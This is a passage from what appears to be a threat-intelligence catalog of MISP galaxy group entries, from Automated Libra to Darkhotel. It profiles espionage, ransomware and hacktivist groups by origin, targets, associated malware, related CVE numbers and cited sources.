Automated Libra is a South African-based freejacking group that primarily targets cloud platforms offering limited-time trials of cloud resources in order to perform their cryptomining operations.^{[[Sysdig October 25 2022](/references/177272f8-2701-4803-ab61-f64afa046127)]}^{[[Unit 42 December 5 2024](/references/bae298f0-71ac-4841-8670-1b805cc7f9dd)]}^{[[Free Trial PurpleUrchin](/references/841f397d-d103-56d7-9854-7ce43c684879)]}

The tag is: *misp-galaxy:groups="Automated Libra"*

Axiom

[Axiom](https://app.tidalcyber.com/groups/90f4d3f9-3fe3-4a64-8dc1-172c6d037dca) is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between [Axiom](https://app.tidalcyber.com/groups/90f4d3f9-3fe3-4a64-8dc1-172c6d037dca) and [Winnti Group](https://app.tidalcyber.com/groups/6932662a-53a7-4e43-877f-6e940e2d744b) but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.^{[[Kaspersky Winnti April 2013](https://app.tidalcyber.com/references/2d4834b9-61c4-478e-919a-317d97cd2c36)]}^{[[Kaspersky Winnti June 2015](https://app.tidalcyber.com/references/86504950-0f4f-42bc-b003-24f60ae97c99)]}^{[[Novetta Winnti April 2015](https://app.tidalcyber.com/references/cbe8373b-f14b-4890-99fd-35ffd7090dea)]}

The tag is: *misp-galaxy:groups="Axiom"*

BackdoorDiplomacy

[BackdoorDiplomacy](https://app.tidalcyber.com/groups/e5b0da2b-12bc-4113-9459-9c51329c9ae0) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://app.tidalcyber.com/groups/e5b0da2b-12bc-4113-9459-9c51329c9ae0) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.^{[[ESET BackdoorDiplomacy Jun 2021](https://app.tidalcyber.com/references/127d4b10-8d61-4bdf-b5b9-7d86bbc065b6)]}

The tag is: *misp-galaxy:groups="BackdoorDiplomacy"*

BianLian Ransomware Group

BianLian is an extortion-focused threat actor group. The group originally used double-extortion methods when it began its operations in June 2022, demanding payment in exchange for decrypting locked files while also threatening to leak exfiltrated data. U.S. & Australian cybersecurity officials observed BianLian actors shifting almost exclusively to exfiltration-focused extortion schemes in 2023.^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}

Related Vulnerabilities: CVE-2020-1472^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}, CVE-2021-34473^{[[BianLian Ransomware Gang Gives It a Go! | [redacted]](/references/fc1aa979-7dbc-4fff-a8d1-b35a3b2bec3d)]}, CVE-2021-34523^{[[BianLian Ransomware Gang Gives It a Go! | [redacted]](/references/fc1aa979-7dbc-4fff-a8d1-b35a3b2bec3d)]}, CVE-2021-31207^{[[BianLian Ransomware Gang Gives It a Go! | [redacted]](/references/fc1aa979-7dbc-4fff-a8d1-b35a3b2bec3d)]}

PulseDive (IOCs): https://pulsedive.com/threat/BianLian

The tag is: *misp-galaxy:groups="BianLian Ransomware Group"*

BITTER

[BITTER](https://app.tidalcyber.com/groups/3a02aa1b-851a-43e1-b83b-58037f3c7025) is a suspected South Asian cyber espionage threat group that has been active since at least 2013. [BITTER](https://app.tidalcyber.com/groups/3a02aa1b-851a-43e1-b83b-58037f3c7025) has targeted government, energy, and engineering organizations in Pakistan, China, Bangladesh, and Saudi Arabia.^{[[Cisco Talos Bitter Bangladesh May 2022](https://app.tidalcyber.com/references/097583ed-03b0-41cd-bf85-66d473f46439)]}^{[[Forcepoint BITTER Pakistan Oct 2016](https://app.tidalcyber.com/references/9fc54fb0-b7d9-49dc-b6dd-ab4cb2cd34fa)]}

The tag is: *misp-galaxy:groups="BITTER"*

Bjorka

Bjorka is an underground actor persona that has claimed attacks on victims in a wide range of sectors and geographies. Researchers assess that the Bjorka persona is likely the administrator of a "data leak site" discovered in January 2025, which operates under the moniker "Babuk 2", ostensibly in reference to the Babuk ransomware that was highly active in the early 2020's. Researchers also assessed that much of the alleged victim data published on the site was likely recycled from previous information leaks.^{[[Cyjax Bjorka January 29 2025](/references/1d775a36-8b15-49f8-8c08-f92101e6d1be)]}

The tag is: *misp-galaxy:groups="Bjorka"*

Bl00dy Ransomware Gang

Bl00dy self-identifies as a ransomware group. It gained attention in May 2023 for a series of data exfiltration and encryption attacks against education entities in the United States that featured exploit of vulnerabilities in PaperCut print management software, which is prevalent in the sector.^{[[U.S. CISA PaperCut May 2023](/references/b5ef2b97-7cc7-470b-ae97-a45dc4af32a6)]}

Related Vulnerabilities: CVE-2023-27350^{[[U.S. CISA PaperCut May 2023](/references/b5ef2b97-7cc7-470b-ae97-a45dc4af32a6)]}

The tag is: *misp-galaxy:groups="Bl00dy Ransomware Gang"*

Black Basta Affiliates

This Group object reflects the tools & TTPs associated with threat actors known to deploy Black Basta, a ransomware-as-a-service (RaaS) variant that researchers believe has been used since at least April 2022. Black Basta affiliates have attacked a very wide range of targets, including organizations in at least 12 out of 16 U.S. critical infrastructure sectors, including the Healthcare and Public Health (HPH) Sector.^{[[U.S. CISA Black Basta May 10 2024](/references/10fed6c7-4d73-49cd-9170-3f67d06365ca)]}

Specific pre- and post-exploit behaviors may vary among intrusions carried out by different Black Basta affiliates. TTPs associated with the Black Basta ransomware binary itself can be found in the

separate dedicated Software object.

The tag is: *misp-galaxy:groups="Black Basta Affiliates"*

BlackByte

[BlackByte](https://app.tidalcyber.com/groups/94f5c644-d36a-59b0-b7e2-7a1d3413443d) is a ransomware threat actor operating since at least 2021. [BlackByte](https://app.tidalcyber.com/groups/94f5c644-d36a-59b0-b7e2-7a1d3413443d) is associated with several versions of ransomware also labeled [BlackByte Ransomware](https://app.tidalcyber.com/software/a6a74c8f-320c-5102-ab17-9055bfb8359f). [BlackByte](https://app.tidalcyber.com/groups/94f5c644-d36a-59b0-b7e2-7a1d3413443d) ransomware operations initially used a common encryption key allowing for the development of a universal decryptor, but subsequent versions such as [BlackByte 2.0 Ransomware](https://app.tidalcyber.com/software/547c8259-2390-5e04-a5aa-db37da5cfdc1) use more robust encryption mechanisms. [BlackByte](https://app.tidalcyber.com/groups/94f5c644-d36a-59b0-b7e2-7a1d3413443d) is notable for operations targeting critical infrastructure entities among other targets across North America.^{[[FBI BlackByte 2022](https://app.tidalcyber.com/references/b206b4fd-7c8a-5e5c-a0a4-737a5502df80)]}^{[[Picus BlackByte 2022](https://app.tidalcyber.com/references/de5a3cdd-2169-5d1c-b78a-e5fbdf55a71c)]}^{[[Symantec BlackByte 2022](https://app.tidalcyber.com/references/965503f6-e5f9-5c98-b0c4-1211e44346d9)]}^{[[Microsoft BlackByte 2023](https://app.tidalcyber.com/references/5db473fd-7e98-5d4a-969a-c3daa8a67db7)]}^{[[Cisco BlackByte 2024](https://app.tidalcyber.com/references/0b5c9baf-0f4e-5bed-a77d-7006559fc110)]}

The tag is: *misp-galaxy:groups="BlackByte"*

BlackCat Ransomware Actors & Affiliates

This object represents the BlackCat/ALPHV Ransomware-as-a-Service (“RaaS”) apex group and the behaviors associated with its various affiliate ransomware operators. Specific affiliate operations defined by the research community will be tracked as separate objects.

Researchers first observed BlackCat ransomware (AKA ALPHV or Noberus) in November 2021. An April 2022 U.S. FBI advisory linked BlackCat’s developers and money launderers to the defunct Blackmatter and Darkside ransomware operations (the latter was responsible for the major 2021 Colonial Pipeline incident).^{[[FBI BlackCat April 19 2022](/references/2640b58c-8413-4691-80e1-33aec9b6c7f6)]} As of September 2023, BlackCat is believed to be responsible for attacking organizations globally and in virtually every major sector, and it consistently claims some of the highest victim tallies of any RaaS. According to data collected by the [ransomwatch project](https://github.com/joshhighet/ransomwatch) and analyzed by Tidal, BlackCat actors publicly claimed 233 victims in 2022, the third most of any ransomware operation in the dataset (considerably below Clop (558) but well above Hive (181)), and it already surpassed that number by July of 2023.^{[[GitHub ransomwatch](/references/62037959-58e4-475a-bb91-ff360d20c1d7)]} Like many RaaS, BlackCat actors threaten to leak exfiltrated victim data, but they also threaten to carry out denial of service attacks if victims do not pay timely ransoms.^{[[BlackBerry BlackCat Threat Overview](/references/59f98ae1-c62d-460f-8d2a-9ae287b59953)]}

BlackCat developers have regularly evolved the namesake ransomware over time, and collaboration with affiliates means that a large number and variety of tools & TTPs are observed during intrusions involving BlackCat. BlackCat became the first prominent ransomware family to transition to the Rust programming language in 2022, which researchers assess provides greater customization and defense evasion capabilities and faster performance.^{[[X-Force BlackCat May 30 2023](/references/b80c1f70-9d05-4f4b-bdc2-6157c6837202)]}^{[[FBI BlackCat April 19 2022](/references/2640b58c-8413-4691-80e1-33aec9b6c7f6)]} A BlackCat variant named Sphynx emerged in early 2023, featuring multiple defense evasion-focused enhancements. In Q3 2023, public reports suggested that Scattered Spider (AKA 0ktapus or UNC3944), a group attributed to several prominent intrusions involving telecommunications, technology, and casino entities, had begun to use BlackCat/Sphynx ransomware during its operations.^{[[Caesars Scattered Spider September 13 2023](/references/6915c003-7c8b-451c-8fb1-3541f00c14fb)]}^{[[BushidoToken Scattered Spider August 16 2023](/references/621a8320-0e3c-444f-b82a-7fd4fdf9fb67)]}

The tag is: *misp-galaxy:groups="BlackCat Ransomware Actors & Affiliates"*

BlackLock Ransomware Operators

Security researchers have described BlackLock as a "rebranding" of the Eldorado ransomware operation.^{[[Resecurity BlackLock March 25 2025](/references/2977c45f-3a7a-42ae-be59-378aa288dc24)]} Unless otherwise noted, this object uses details from the existing "Eldorado Ransomware Operators" Group object.

The tag is: *misp-galaxy:groups="BlackLock Ransomware Operators"*

BlackOasis

[BlackOasis](https://app.tidalcyber.com/groups/428dc121-a593-4981-9127-f958ae0a0fdd) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. ^{[[Securelist BlackOasis Oct 2017](https://app.tidalcyber.com/references/66121c37-6b66-4ab2-9f63-1adb80dcec62)]} ^{[[Securelist APT Trends Q2 2017](https://app.tidalcyber.com/references/fe28042c-d289-463f-9ece-1a75a70b966e)]} A group known by Microsoft as [NEODYMIUM](https://app.tidalcyber.com/groups/3a660ef3-9954-4252-8946-f903f3f42d0c) is reportedly associated closely with [BlackOasis](https://app.tidalcyber.com/groups/428dc121-a593-4981-9127-f958ae0a0fdd) operations, but evidence that the group names are aliases has not been identified. ^{[[CyberScoop BlackOasis Oct 2017](https://app.tidalcyber.com/references/a8224ad5-4688-4382-a3e7-1dd3ed74ebce)]}

The tag is: *misp-galaxy:groups="BlackOasis"*

BlackSuit Ransomware Actors

This object reflects the ATT&CK Techniques associated with threat actors who deploy BlackSuit, a ransomware capable of running on Windows and Linux systems. BlackSuit is believed to be a

successor to Royal, a ransomware operation which itself derives from the notorious Russia-based Conti gang. BlackSuit operations were first observed in May 2023, and although they were relatively low in number, U.S. authorities issued a warning for healthcare sector organizations due to the ransomware's suspected pedigree.^{[[HC3 Analyst Note BlackSuit Ransomware November 2023](/references/d956f0c6-d90e-49e8-a64c-a46bfc177cc6)]} The number of attacks claimed by BlackSuit operators increased notably in Q2 2024.^{[[GitHub ransomwatch](/references/62037959-58e4-475a-bb91-ff360d20c1d7)]}

ATT&CK Techniques associated with the BlackSuit ransomware binary are tracked in a separate "BlackSuit Ransomware" Software object.

The tag is: *misp-galaxy:groups="BlackSuit Ransomware Actors"*

BlackTech

[BlackTech](https://app.tidalcyber.com/groups/528ab2ea-b8f1-44d8-8831-2a89fefd97cb) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia—particularly Taiwan, Japan, and Hong Kong—and the US since at least 2013. [BlackTech](https://app.tidalcyber.com/groups/528ab2ea-b8f1-44d8-8831-2a89fefd97cb) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.^{[[TrendMicro BlackTech June 2017](https://app.tidalcyber.com/references/abb9cb19-d30e-4048-b106-eb29a6dad7fc)]}^{[[Symantec Palmerworm Sep 2020](https://app.tidalcyber.com/references/84ecd475-8d3f-4e7c-afa8-2dff6078bed5)]}^{[[Reuters Taiwan BlackTech August 2020](https://app.tidalcyber.com/references/77293f88-e336-4786-b042-7f0080bbff32)]}

The tag is: *misp-galaxy:groups="BlackTech"*

Blue Mockingbird

[Blue Mockingbird](https://app.tidalcyber.com/groups/b82c6ed1-c74a-4128-8b4d-18d1e17e1134) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.^{[[RedCanary Mockingbird May 2020](https://app.tidalcyber.com/references/596bfbb3-72e0-4d4c-a1a9-b8d54455ffd0)]}

The tag is: *misp-galaxy:groups="Blue Mockingbird"*

BRONZE BUTLER

[BRONZE BUTLER](https://app.tidalcyber.com/groups/5825a840-5577-4ffc-a08d-3f48d64395cb) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.^{[[Trend Micro Daserf Nov 2017](https://app.tidalcyber.com/references/4ca0e6a9-8c20-49a0-957a-7108083a8a29)]}^{[[Secureworks BRONZE BUTLER Oct 2017](https://app.tidalcyber.com/references/c62d8d1a-cd1b-4b39-95b6-68f3f063dacf)]}^{[[Trend Micro Tick November 2019](https://app.tidalcyber.com/references/93adbf0d-5f5e-498e-aca1-ed3eb11561e7)]}

The tag is: *misp-galaxy:groups="BRONZE BUTLER"*

CACTUS Ransomware Actors

This Group object reflects the tools & TTPs observed in use by threat actors known to deploy CACTUS, a ransomware that researchers believe has been used since at least March 2023.^{[[Kroll CACTUS Ransomware May 10 2023](/references/f50de2f6-465f-4cae-a79c-cc135ebfee4f)]} Specific pre- and post-exploit behaviors may vary among intrusions carried out by distinct actors or actor clusters. TTPs associated with the CACTUS ransomware binary itself can be found in the separate dedicated Software object.

The tag is: *misp-galaxy:groups="CACTUS Ransomware Actors"*

Carbanak

[Carbanak](https://app.tidalcyber.com/groups/72d9bea7-9ca1-43e6-8702-2fb7fb1355de) is a cybercriminal group that has used [Carbanak](https://app.tidalcyber.com/software/4cb9294b-9e4c-41b9-b640-46213a01952d) malware to target financial institutions since at least 2013. [Carbanak](https://app.tidalcyber.com/groups/72d9bea7-9ca1-43e6-8702-2fb7fb1355de) may be linked to groups tracked separately as [Cobalt Group](https://app.tidalcyber.com/groups/58db02e6-d908-47c2-bc82-ed58ada61331) and [FIN7](https://app.tidalcyber.com/groups/4348c510-50fc-4448-ab8d-c8cededd19ff) that have also used [Carbanak](https://app.tidalcyber.com/software/4cb9294b-9e4c-41b9-b640-46213a01952d) malware.^{[[Kaspersky Carbanak](https://app.tidalcyber.com/references/2f7e77db-fe39-4004-9945-3c8943708494)]}^{[[FireEye FIN7 April 2017](https://app.tidalcyber.com/references/6ee27fdb-1753-4fdf-af72-3295b072ff10)]}^{[[Europol Cobalt Mar 2018](https://app.tidalcyber.com/references/f9d1f2ab-9e75-48ce-bcdf-b7119687feef)]}^{[[Secureworks GOLD NIAGARA Threat Profile](https://app.tidalcyber.com/references/b11276cb-f6dd-4e91-90cd-9c287fb3e6b1)]}^{[[Secureworks GOLD KINGSWOOD Threat Profile](https://app.tidalcyber.com/references/36035bbb-1609-4461-be27-ef4a920b814c)]}

The tag is: *misp-galaxy:groups="Carbanak"*

Cat Scientist Actor

"Cat Scientist" is a username used by a threat actor on underground cybercriminal forums. The actor was observed attempting to sell access to a corporate network gained through compromise of Microsoft Windows RDWeb Virtual Desktop software.^{[[Dark Web Informer LinkedIn Cat Scientist January 2025](/references/4678131f-7079-4a5f-ac47-06faa3052d8f)]}

The tag is: *misp-galaxy:groups="Cat Scientist Actor"*

Charcoal Stork

Charcoal Stork is a threat actor believed to provide content used to fuel malvertising and search engine optimization (SEO) operations, which affiliates ultimately use to deliver malware to victim systems. Charcoal Stork is thought to be financially motivated, operating on a pay-per-install

basis.^{[[Red Canary March 18 2024](/references/a86131cd-1a42-4222-9d39-221dd6e054ba)]}

The tag is: *misp-galaxy:groups="Charcoal Stork"*

CHATTY SPIDER

A cybercriminal actor known to carry out "callback phishing" social engineering attacks.^{[[CrowdStrike 2025 Global Threat Report](/references/a69b0ce3-f314-4b32-bfb3-b1380c4f0ec4)]}

The tag is: *misp-galaxy:groups="CHATTY SPIDER"*

Chimera

[Chimera](https://app.tidalcyber.com/groups/ca93af75-0ffa-4df4-b86a-92d4d50e496e) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.^{[[Cycraft Chimera April 2020](https://app.tidalcyber.com/references/a5a14a4e-2214-44ab-9067-75429409d744)]}^{[[NCC Group Chimera January 2021](https://app.tidalcyber.com/references/70c217c3-83a2-40f2-8f47-b68d8bd4cdf0)]}

The tag is: *misp-galaxy:groups="Chimera"*

Cicada3301 Ransomware Group

A suspected ransomware-as-a-service ("RaaS") group first observed in June 2024, which extorts victims via traditional ransomware encryption and by threatening to leak allegedly exfiltrated data onto the web.^{[[Truesec AB August 30 2024](/references/de2de0a9-17d2-41c2-838b-7850762b80ae)]}

The tag is: *misp-galaxy:groups="Cicada3301 Ransomware Group"*

Cinnamon Tempest

[Cinnamon Tempest](https://app.tidalcyber.com/groups/8e059c6b-d278-5454-a234-a8ad69feb66c) is a China-based threat group that has been active since at least 2021 deploying multiple strains of ransomware based on the leaked [Babuk](https://app.tidalcyber.com/software/0dc07eb9-66df-4116-b1bc-7020ca6395a1) source code. [Cinnamon Tempest](https://app.tidalcyber.com/groups/8e059c6b-d278-5454-a234-a8ad69feb66c) does not operate their ransomware on an affiliate model or purchase access but appears to act independently in all stages of the attack lifecycle. Based on victimology, the short lifespan of each ransomware variant, and use of malware attributed to government-sponsored threat groups, [Cinnamon Tempest](https://app.tidalcyber.com/groups/8e059c6b-d278-5454-a234-a8ad69feb66c) may be motivated by intellectual property theft or cyberespionage rather than financial gain.^{[[Microsoft Ransomware as a Service](https://app.tidalcyber.com/references/833018b5-6ef6-5327-9af5-1a551df25cd2)]}<sup>[[Microsoft Threat Actor Naming July 2023](https://app.tidalcyber.com/

references/78a8137d-694e-533d-aed3-6bd48fc0cd4a)]</sup>^{[[Trend Micro Cheerscrypt May 2022](https://app.tidalcyber.com/references/ca7ccf2c-37f3-522a-acfb-09daa16e23d8)]}^{[[SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022](https://app.tidalcyber.com/references/0b275cf9-a885-58cc-b859-112090a711e3)]}

The tag is: *misp-galaxy:groups="Cinnamon Tempest"*

Cleaver

[Cleaver](https://app.tidalcyber.com/groups/c8cc6ce8-d421-42e6-a6eb-2ea9d2d9ab07) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. ^{[[Cylance Cleaver](https://app.tidalcyber.com/references/f0b45225-3ec3-406f-bd74-87f24003761b)]} Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). ^{[[Dell Threat Group 2889](https://app.tidalcyber.com/references/de7003cb-5127-4fd7-9475-d69e0d7f5cc8)]}

The tag is: *misp-galaxy:groups="Cleaver"*

Cobalt Group

[Cobalt Group](https://app.tidalcyber.com/groups/58db02e6-d908-47c2-bc82-ed58ada61331) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://app.tidalcyber.com/groups/58db02e6-d908-47c2-bc82-ed58ada61331) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.^{[[Talos Cobalt Group July 2018](https://app.tidalcyber.com/references/7cdfd0d1-f7e6-4625-91ff-f87f46f95864)]}^{[[PTSecurity Cobalt Group Aug 2017](https://app.tidalcyber.com/references/f4ce1b4d-4f01-4083-8bc6-931cbac9ac38)]}^{[[PTSecurity Cobalt Dec 2016](https://app.tidalcyber.com/references/2de4d38f-c99d-4149-89e6-0349a4902aa2)]}^{[[Group IB Cobalt Aug 2017](https://app.tidalcyber.com/references/2d9ef1de-2ee6-4500-a87d-b55f83e65900)]}^{[[Proofpoint Cobalt June 2017](https://app.tidalcyber.com/references/c4922659-88b2-4311-9c9b-dc9b383d746a)]}^{[[RiskIQ Cobalt Nov 2017](https://app.tidalcyber.com/references/ebf961c5-bd68-42f3-8fd3-000946c7ae9c)]}^{[[RiskIQ Cobalt Jan 2018](https://app.tidalcyber.com/references/7d48b679-d44d-466e-b12b-16f0f9858d15)]} Reporting indicates there may be links between [Cobalt Group](https://app.tidalcyber.com/groups/58db02e6-d908-47c2-bc82-ed58ada61331) and both the malware [Carbanak](https://app.tidalcyber.com/software/4cb9294b-9e4c-41b9-b640-46213a01952d) and the group [Carbanak]([Europol Cobalt Mar 2018(https://app.tidalcyber.com/references/f9d1f2ab-9e75-48ce-bcdf-b7119687feef)]</sup>

The tag is: *misp-galaxy:groups="Cobalt Group"*

Confucius

[Confucius](https://app.tidalcyber.com/groups/d0f29889-7a9c-44d8-abdc-480b371f7b2b) is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between [Confucius](https://app.tidalcyber.com/groups/d0f29889-7a9c-44d8-abdc-480b371f7b2b) and [Patchwork](https://app.tidalcyber.com/groups/32385eba-7bbf-439e-acf2-83040e97165a), particularly in their respective custom malware code and targets.^{[[TrendMicro Confucius APT Feb 2018](https://app.tidalcyber.com/references/d1d5a708-75cb-4d41-b2a3-d035a14ac956)]}^{[[TrendMicro Confucius APT Aug 2021](https://app.tidalcyber.com/references/5c16aae9-d253-463b-8bbc-f14402ce77e4)]}^{[[Uptycs Confucius APT Jan 2021](https://app.tidalcyber.com/references/d74f2c25-cd53-4587-b087-7ba0b8427dc4)]}

The tag is: *misp-galaxy:groups="Confucius"*

CopyKittens

[CopyKittens](https://app.tidalcyber.com/groups/6a8f5eca-8ecc-4bff-9c5f-5380e044ed5b) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip.^{[[ClearSky CopyKittens March 2017](https://app.tidalcyber.com/references/f5a42615-0e4e-4d43-937d-05d2efe636cf)]}^{[[ClearSky Wilted Tulip July 2017](https://app.tidalcyber.com/references/50233005-8dc4-4e91-9477-df574271df40)]}^{[[CopyKittens Nov 2015](https://app.tidalcyber.com/references/04e3ce40-5487-4931-98db-f55da83f412e)]}

The tag is: *misp-galaxy:groups="CopyKittens"*

CosmicBeetle

CosmicBeetle is a threat actor, active since 2020, that has been associated with multiple ransomware families. Originally known for using a set of custom tools, including ScRansom (a successor to the "Scarab" encryptor), researchers reported in September 2024 that they observed a suspected CosmicBeetle attack that involved deployment of tools and malware associated with the RansomHub ransomware-as-a-service operation.^{[[WeLiveSecurity CosmicBeetle September 10 2024](/references/8debba29-4d6d-41d2-8772-f97c7d49056b)]}^{[[BleepingComputer NoName September 10 2024](/references/79752048-f2fd-4357-9e0a-15b9a2927852)]}

The tag is: *misp-galaxy:groups="CosmicBeetle"*

Cuba Ransomware Actors

A Group object to represent actors that deploy Cuba Ransomware in victim environments.^{[[U.S. CISA Cuba Ransomware October 2022](/references/d6ed5172-a319-45b0-b1cb-d270a2a48fa3)]}

The tag is: *misp-galaxy:groups="Cuba Ransomware Actors"*

CURIUM

[CURIUM](https://app.tidalcyber.com/groups/ab15a328-c41e-5701-993f-3cab29ac4544) is an Iranian threat group, first reported in September 2019 and active since at least July 2018, targeting IT service providers in the Middle East.^{[[Symantec Tortoiseshell 2019](https://app.tidalcyber.com/references/2565fe82-5082-5032-8424-03ce7ccb1936)]} [CURIUM](https://app.tidalcyber.com/groups/ab15a328-c41e-5701-993f-3cab29ac4544) has since invested in building relationships with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://app.tidalcyber.com/groups/ab15a328-c41e-5701-993f-3cab29ac4544) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.^{[[Microsoft Iranian Threat Actor Trends November 2021](https://app.tidalcyber.com/references/78d39ee7-1cd5-5cb8-844a-1c3649e367a1)]}

The tag is: *misp-galaxy:groups="CURIUM"*

CURLY SPIDER

A social engineering-focus cybercriminal actor known for high-speed intrusions.^{[[CrowdStrike 2025 Global Threat Report](/references/a69b0ce3-f314-4b32-bfb3-b1380c4f0ec4)]}

The tag is: *misp-galaxy:groups="CURLY SPIDER"*

Cyber Army of Russia

The Cyber Army of Russia is a threat group that appears to carry out cyber attacks in line with Russian strategic interests. The group has claimed many distributed denial of service (DDoS) attacks against a variety of targets perceived as opposed to Russian interests. More recently, it has claimed disruptive industrial software-based attacks against water utilities in the United States, France, and Poland. Researchers link the Cyber Army of Russia to APT44 / Sandworm Team, although it remains unclear what level of direct support, if any, is provided by the latter group.^{[[Wired Cyber Army of Russia April 17 2024](/references/53583baf-4e09-4d19-9348-6110206b88be)]}^{[[Mandiant APT44 April 17 2024](/references/a64f689e-2bb4-4253-86cd-545e7f633a7e)]}

The tag is: *misp-galaxy:groups="Cyber Army of Russia"*

CyberAv3ngers

CyberAv3ngers is a cyber actor group that has claimed responsibility for numerous disruption-focused attacks against critical infrastructure organizations, including an oil refinery and electric utility in Israel and water/wastewater utilities in the United States. According to a joint advisory released by U.S. & Israeli cybersecurity authorities in December 2023, CyberAv3ngers (aka Cyber

Av3ngers or Cyber Avengers) is a “cyber persona” of advanced persistent threat actors affiliated with the Iranian Islamic Revolutionary Guard Corps (IRGC). The advisory detailed how suspected CyberAv3ngers actors compromised programmable logic controller (PLC) devices that were exposed to the internet and used the vendor’s default passwords and ports, leaving defacement images and possibly rendering the devices inoperable. The defacement messages suggested that the group or affiliates might carry out attacks against other technological equipment produced in or associated with Israel.^{[[U.S. CISA IRGC-Affiliated PLC Activity December 2023](/references/51a18523-5276-4a67-8644-2bc6997d043c)]}

The tag is: *misp-galaxy:groups="CyberAv3ngers"*

Cyber Toufan

Cyber Toufan is an apparently politically motivated, destruction-focused threat actor group that has predominantly targeted organizations based in or perceived to be aligned with Israel. Cyber Toufan publicizes many of their cyber operations and in some cases has leaked victim data allegedly exfiltrated during their attacks.^{[[SOCRadar Cyber Toufan Profile](/references/a9aa6361-8c4d-4456-bb3f-c64ca5260695)]} Check Point researchers labeled Cyber Toufan as an "Iranian-affiliated", "hacktivist proxy" group.^{[[Check Point Iranian Proxies December 4 2023](/references/60432d84-8f46-4934-951f-df8e0f297ff0)]}

The tag is: *misp-galaxy:groups="Cyber Toufan"*

CyberVolk

CyberVolk is a politically motivated hacktivist collective originating in India with pro-Russia leanings. The group is known for launching ransomware and DDoS attacks to undermine and disrupt operations of entities that are perceived to be opposed to Russian interests.^{[[SentinelOne November 25 2024](/references/71c8e60c-a72a-4bff-aae3-f3f155fa22ee)]}

The tag is: *misp-galaxy:groups="CyberVolk"*

Daggerfly

[Daggerfly](https://app.tidalcyber.com/groups/f0dab388-1641-50aa-b0b2-6bdb816e0490) is a People’s Republic of China-linked APT entity active since at least 2012. [Daggerfly](https://app.tidalcyber.com/groups/f0dab388-1641-50aa-b0b2-6bdb816e0490) has targeted individuals, government and NGO entities, and telecommunication companies in Asia and Africa. [Daggerfly](https://app.tidalcyber.com/groups/f0dab388-1641-50aa-b0b2-6bdb816e0490) is associated with exclusive use of [MgBot](https://app.tidalcyber.com/software/df390ec3-6557-524d-8a89-3fceff24ca96) malware and is noted for several potential supply chain infection campaigns.^{[[Symantec Daggerfly 2023](https://app.tidalcyber.com/references/cb0a51f5-fe5b-5dd0-8f55-4e7536cb61a4)]}^{[[ESET EvasivePanda 2023](https://app.tidalcyber.com/references/08026c7e-cc35-5d51-9536-a02febd1a891)]}^{[[Symantec Daggerfly 2024](https://app.tidalcyber.com/references/1dadd09e-e7b0-50a1-ba3d-413780dbeb80)]}<sup>[[ESET EvasivePanda 2024](https://app.tidalcyber.com/references/

07e6b866-7119-50ad-8a6e-80c4e0d594bf)]</sup>

The tag is: *misp-galaxy:groups="Daggerfly"*

Daixin Team

Daixin Team is a ransomware- and data extortion-focused threat group first observed in mid-2022. Daixin Team is known to publicly extort its victims to pressure them into paying a ransom. It has used ransomware (believed to be based on the leaked source code for Babuk Locker) to encrypt victim data and has also exfiltrated sensitive data from victim environments and threatened to publicly leak that data.

Many of Daixin Team's victims belong to critical infrastructure sectors, especially the Healthcare and Public Health ("HPH") sector. An October 2022 joint Cybersecurity Advisory noted Daixin Team attacks on multiple U.S. HPH organizations.^{[[U.S. CISA Daixin Team October 2022](/references/cbf5ecfb-de79-41cc-8250-01790ff6e89b)]} Alleged victims referenced on the threat group's extortion website belong to the healthcare, utilities, transportation (airline), automobile manufacturing, information technology, retail, and media sectors in the United States, Europe, and Asia.^{[[GitHub ransomwatch](/references/62037959-58e4-475a-bb91-ff360d20c1d7)]}

The tag is: *misp-galaxy:groups="Daixin Team"*

Dark Caracal

[Dark Caracal](https://app.tidalcyber.com/groups/7ad94dbf-9909-42dd-8b62-a435481bdb14) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. ^{[[Lookout Dark Caracal Jan 2018](https://app.tidalcyber.com/references/c558f5db-a426-4041-b883-995ec56e7155)]}

The tag is: *misp-galaxy:groups="Dark Caracal"*

Darkhotel

